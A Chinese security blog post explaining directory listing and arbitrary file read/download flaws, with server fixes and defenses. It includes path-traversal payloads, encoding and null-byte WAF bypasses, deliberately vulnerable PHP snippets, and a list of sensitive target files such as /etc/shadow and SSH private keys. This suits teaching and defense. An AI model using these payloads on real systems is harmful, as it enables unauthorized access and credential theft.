前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >目录遍历+任意文件读取+任意文件下载

目录遍历+任意文件读取+任意文件下载

作者头像
vFREE
发布2021-12-20 21:09:12
4.1K0
发布2021-12-20 21:09:12
举报
文章被收录于专栏:博客原创文章博客原创文章
目录遍历漏洞

原理

目录遍历又称"路径遍历",由于web服务器配置错误导致网站的目录暴露可以被随意浏览,这种被称为"目录遍历"

危害

危害在于可以浏览一些本不该给用户看到的文件内容,比如一些数据库配置文件,网站源码等...

探测方法

谷歌语法:php intitle:index of 如果出现下面这样子的👇说明存在目录遍历漏洞

web服务器配置错误

IIS: 在控制面板 -->管理工具-->IIS管理器,网站->右键->属性->主目录,然后勾选目录浏览 修复方法:当然是取消勾选目录浏览 Apache: 打开httpd.conf,搜索"<Directory />"或者更加精准搜索"Options" 下图的Options后面有一个 +Indexes 说明有目录遍历漏洞

修复方法:去除+Indexes或者改成-Indexes

经测试,小皮面板如果在配置文件中存在Indexes的话,也不会被目录遍历,会显示403!!!

Nginx: 默认不开启目录遍历,如果发现存在,在nginx.conf删减掉"autoindex on;autoinxex_exact_size on",然后重启

任意文件读取/下载

原理

由于网站有下载文件的功能的业务需求,就会开放下载,如果服务端未对用户传入的参数做一个限制或者不对传入的参数进行检查限制的话,可能会导致网站的敏感文件被下载

危害

任意文件读取/下载的危害往往大于目录遍历漏洞,任意文件读取不仅会泄露网站的结构目录,一些敏感文件还会被通过构造特殊的字符结构下载下来,比如说../或者~/导致服务器的重要文件信息泄露,比如说../etc/passwd,../etc/shodan,~/bash_history等文件,或者下载脚本配置文件,网站文件进一步审计,得到危害更大的漏洞进一步利用

如何发现?

一般文件读取或者文件下载都会跟一个参数名在后面,比如说

代码语言:javascript
复制
http://127.0.0.1/file.php?filename=xxx.txt

上面的txt就会被下载下来,但是如果即将xxx.txt换成其他的参数呢?比如说../etc/passwd

代码语言:javascript
复制
http://127.0.0.1/file.php?filename=../../../../etc/passwd

如果服务端没有对用户传入的数据进行过滤的话,这个文件就会被输出,比如下面这样子👇

如果回显了这样子的界面,则代表该网站存在任意文件下载和读取

代码

以下代码均存在文件读取的危险,仅作示例

代码语言:javascript
复制
<?php
$file = $_GET['filename'];
readfile($file);
?>


<?php
$file = '1.txt';
print(file_get_contents($file));
?>

<?php
$file = '1.txt';
include $file;
?>

<?php
$file = '1.txt';
require $file;
?>

绕过

信息时代1202年,各种各样的花式waf层出不穷,有些waf是会检查用户传入的参数,也就是说如果在一个布置了waf的网站中,直接访问file.php?filename=../../../etc/passwd就会被拦截

1.编码绕过,有些网站也是会将文件名转成base64或者其他编码格式再去读取,比如:

代码语言:javascript
复制
http://127.0.0.1/file.php?filename=aW5kZXgucGhw
// 对应index.php

通过编码后进行读取文件,如果要读取其他文件,同理,先编码,后传入

2.使用url编码代替.或者/

代码语言:javascript
复制
http://127.0.0.1/file.php?filename=.%2F.%2F.%2F.%2Fetc%2Fpasswd

使用%2F代替/ 或者二次编码(%25)

代码语言:javascript
复制
http://127.0.0.1/file.php?filename=.%252F.%252F.%252F.%252Fetc%2Fpasswd
代码语言:javascript
复制
  %25是%
  2F是/
  %252F会先解开%25,解开后是%,然后在拼接2F就会变成%2F=/

3.如果对文件名有限制,可以试着用%00截断

代码语言:javascript
复制
http://127.0.0.1/file.php?filename=../../../1.php%00.jpg

%00截断对PHP的版本有要求:PHP<5.3.4

小"姿势"

如果filename=xxx.php的话,这类的是文件包含漏洞了 如果filename=xxx.txt或者其他文件名,文件直接显示的话,就是任意文件读取漏洞了 要区分清楚!!!

防御

  1. 对传入的文件名进行判断限制过滤
  2. 合理控制目录读取的权限
  3. 采用白名单读取文件
  4. 打开php.ini文件找到open_basedir,然后去掉前面的分号(;),在等于号(open_basedir=)后面写入限制读取的范围
  5. 过滤./ ~/等字符
  6. 将要下载的文件路径预先传入数据库,然后通过相应的id值下载,但是不要"捡了芝麻丢了西瓜",别忘了防注入

常见的URL格式和参数

代码语言:javascript
复制
download.php?file=
download.php?filename=
file.php?file=
filename.php?name=
readfile.php?filename=
file.php?url=
file.php?dirname=
file.php?f=
...

value:
&dir=
&name=
&dir_name=
&filename=
&path=
&filepath=
...

有营养的文件(抄的)

代码语言:javascript
复制
Windows:
代码语言:javascript
复制
    C:\boot.ini //查看系统版本

    C:\Windows\System32\inetsrv\MetaBase.xml          //IIS配置文件

    C:\Windows\repair\sam                                          //存储系统初次安装的密码

    C:\Program Files\mysql\my.ini                               //Mysql配置

    C:\Program Files\mysql\data\mysql\user.MYD     //Mysql root

    C:\Windows\php.ini              //php配置信息

    C:\Windows\my.ini             //Mysql配置信息

    C:\Windows\win.ini             //Windows系统的一个基本系统配置文件
代码语言:javascript
复制
  Linux:
代码语言:javascript
复制
    /root/.ssh/authorized_keys

    /root/.ssh/id_rsa

    /root/.ssh/id_ras.keystore

    /root/.ssh/known_hosts             //记录每个访问计算机用户的公钥

    /etc/passwd

    /etc/shadow

    /usr/local/app/php5/lib/php.ini                //PHP配置文件

    /etc/my.cnf                 //mysql配置文件

    /etc/httpd/conf/httpd.conf             //apache配置文件

    /root/.bash_history             //用户历史命令记录文件

    /root/.mysql_history             //mysql历史命令记录文件

    /proc/mounts                 //记录系统挂载设备

    /porc/config.gz                //内核配置文件

    /var/lib/mlocate/mlocate.db         //全文件路径

    /porc/self/cmdline             //当前进程的cmdline参数

注:部分图片源自于网络,如有侵权,请联系删除!!!谢谢

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 原理
  • 危害
  • 探测方法
  • web服务器配置错误
  • 原理
  • 危害
  • 如何发现?
  • 代码
  • 绕过
  • 小"姿势"
  • 防御
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档